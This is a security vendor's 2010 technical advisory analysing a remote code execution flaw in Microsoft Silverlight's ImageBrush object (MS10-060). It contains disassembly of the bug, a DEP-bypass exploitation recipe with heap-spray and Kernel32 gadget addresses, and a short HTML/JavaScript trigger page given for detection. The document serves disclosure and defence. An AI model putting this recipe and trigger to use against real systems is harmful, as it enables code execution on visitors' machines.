VUPEN Security – Binary Analysis & Exploits Service

In-Depth Analysis of Microsoft Silverlight Object Confusion Remote Code Execution Vulnerability (MS10-060 / CVE-2010-0019)

Table of Contents

Introduction

A vulnerability exists in Microsoft Silverlight when parsing objects, which could be exploited by attackers to execute arbitrary code via a malicious web page.

Tested Versions

The vulnerability was analyzed on Windows XP SP3 with Microsoft Silverlight 3 (agcore.dll version 3.0.50106.0).

Fixed Versions

The vulnerability was fixed with the MS10-060 security update.

Technical Details

By default, Microsoft Silverlight provides a JavaScript API to Silverlight objects. One of these objects, "ImageBrush", exposes various properties through this API.

Basically, if the property "ImageSource" is modified by a script, an object confusion occurs which eventually leads to dereference an attacker-supplied string.

This issue occurs in "CImageBrush::SetValue()".

First of all, a pointer to a structure referring to the "ImageBrush.ImageSource" object is returned by "CCoreServices::GetPropertyByIndex()":

```
.text:6C9606AF      mov   edi, edi
.text:6C9606B1      push  ebp
.text:6C9606B2      mov   ebp, esp
.text:6C9606B4      mov   eax, [ebp+arg_0]           //arg_0 = 1D2h, which stands for
                                                     //ImageBrush.ImageSource
.text:6C9606B7      cmp   eax, [ecx+68h]
.text:6C9606BA      jnb   loc_6C9A10B4
.text:6C9606C0      imul  eax, 34h
.text:6C9606C3      add   eax, [ecx+6Ch]             //return a pointer p1 in eax
.text:6C9606C6      pop   ebp
.text:6C9606C7      retn  4
```

This pointer in next pushed as argument to "CImageBrush::SetValue()" along with a pointer to the value defined in the Javascript code:

```
.text:6CA4CC6D      mov   edi, edi
.text:6CA4CC6F      push  ebp
.text:6CA4CC70      mov   ebp, esp
.text:6CA4CC72      push  ebx
.text:6CA4CC73      push  esi
.text:6CA4CC74      push  edi
.text:6CA4CC75      mov   edi, [ebp+arg_0]               //edi = p1
.text:6CA4CC78      cmp   dword ptr [edi+18h], 3264h     //3264h means ImageSource
.text:6CA4CC7F      mov   esi, ecx
.text:6CA4CC81      jnz   short loc_6CA4CC9E
.text:6CA4CC83      mov   ecx, [esi+0C8h]
.text:6CA4CC89      test  ecx, ecx                       //ecx = 0
.text:6CA4CC8B      jz    short loc_6CA4CC9E
```

```
…
.text:6CA4CC9E loc_6CA4CC9E:
.text:6CA4CC9E
.text:6CA4CC9E              mov    ebx, [ebp+arg_4]
.text:6CA4CCA1              push   ebx
.text:6CA4CCA2              push   edi
.text:6CA4CCA3              mov    ecx, esi
.text:6CA4CCA5              call   CDependencyObject::SetValue()
```

This function returns an error if the argument type is not expected. As "ImageSource" expects a string, "CDependencyObject::SetValue()" returns 0 if a string is passed.

The problem lies in the next lines:

```
.text:6CA4CCAA              mov    edi, eax
.text:6CA4CCAC              test   edi, edi
.text:6CA4CCAE              jl     short loc_6CA4CCFB
.text:6CA4CCB0              mov    eax, [ebp+arg_0]
.text:6CA4CCB3              cmp    dword ptr [eax+18h], 3264h
.text:6CA4CCBA              jnz    short loc_6CA4CCFB          //jump if property != ImageSource
.text:6CA4CCBC              mov    ecx, [esi+14h]
.text:6CA4CCBF              mov    eax, [ecx+374h]
.text:6CA4CCC5              test   eax, eax                    //eax point to JIT code
.text:6CA4CCC7              jz     short loc_6CA4CCDB
.text:6CA4CCC9              mov    edx, [ebx+4]                //[ebx+4] points to the string!
.text:6CA4CCCC              push   edx
.text:6CA4CCCD              push   3264h
.text:6CA4CCD2              push   esi
.text:6CA4CCD3              call   eax
```

It seems here that the program actually expects something else than a Javascript string.

From there JIT code is executed until "_DependencyObject_GetTypeIndex()" is called:

```
.text:6C93C458              mov    edi, edi
.text:6C93C45A              push   ebp
.text:6C93C45B              mov    ebp, esp
.text:6C93C45D              mov    ecx, [ebp+arg_0]            //ecx points to the string!
.text:6C93C460              mov    eax, [ecx]
.text:6C93C462              mov    edx, [eax+158h]             //edx can be controlled
.text:6C93C468              pop    ebp
.text:6C93C469              jmp    edx                         //redirection of the execution flow here
```

Successfully exploited, this vulnerability allows arbitrary code execution when a user visits a specially crafted web page.

Exploitation

With browsers where Data Execution Prevention is not activated by default, execution of arbitrary code is pretty straight forward, as an attacker just needs to spray memory to get his malicious code executed.

However, DEP is turned on by default with IE8 which complicates exploitation. The idea in this case is to perform a "return-to-libc" attack to attribute the execution flag to a controlled page and execute it. This can be accomplished in a few steps:

1) set esp to point to the heap spray
2) use VirtualProtect() to attribute the execution flag
3) execute the payload

This exploit takes advantage of the Kernel32.dll module (version 5.1.2600.5781 on Windows XP SP3). This module contains the necessary addresses to exploit this vulnerability but is unfortunately version dependent. Therefore addresses must be changed to target another system. It contains the following code pattern and function:

```
.text:7C81078C            mov     ecx, [eax+CCh]          //step 1
.text:7C810792            mov     esp, [eax+D8h]
.text:7C810798            jmp     ecx

.text:7C801Ad4 ; LPVOID __stdcall VirtualProtect()        //step 2
```

This exploit first sets esp to point to 0x065004A8 which should point inside the spray. The spray is actually composed of blocks of 400h bytes so that a certain alignment is always respected. The first 256 bytes consist of return addresses to the previous steps, and pointers to overwrite the return address in the stack. It next returns to "VirtualProtect()" with the following arguments:

```
0x06500000 – targeted page
0x00001000 – size of the page
0x00000040 – PAGE_EXECUTE_READ_WRITE
0x06500000 – pOldProtect
```

This should attribute the execution flag to 0x06500000. Eventually, the program returns to 0x06500D24 and executes the payload despite DEP activated.

Detection

Attempts to exploit this vulnerability can be detected by inspecting web pages containing references to a Silverlight application. If a script modifies the property "ImageSource" of an "ImageBrush" object, consider the document malicious. The following code demonstrates a malicious document:

```
<script>
        function aaaa(sender, eventArgs) {
                var newbr =
           sender.getHost().content.createFromXaml("<ImageBrush/>");
                newbr.ImageSource = "AAAA.jpg";
        }
</script>

<object type="application/x-silverlight" width="100%" height="100%">
   <param name="source" value="SilverlightApplication1.xap" />
   <param name="onresize" value="aaaa" />
</object>
```

When this code is executed, the event "onresize" is triggered which leads to calling "aaaa()". This function creates a new ImageBrush object and changes its property ImageSource. Consider then such document malicious.

References

VUPEN/ADV-2010-2057:
http://www.vupen.com/english/advisories/2010/2057

MS10-060:
http://www.microsoft.com/technet/security/bulletin/ms10-060.mspx

Changelog

2010-09-03: Initial release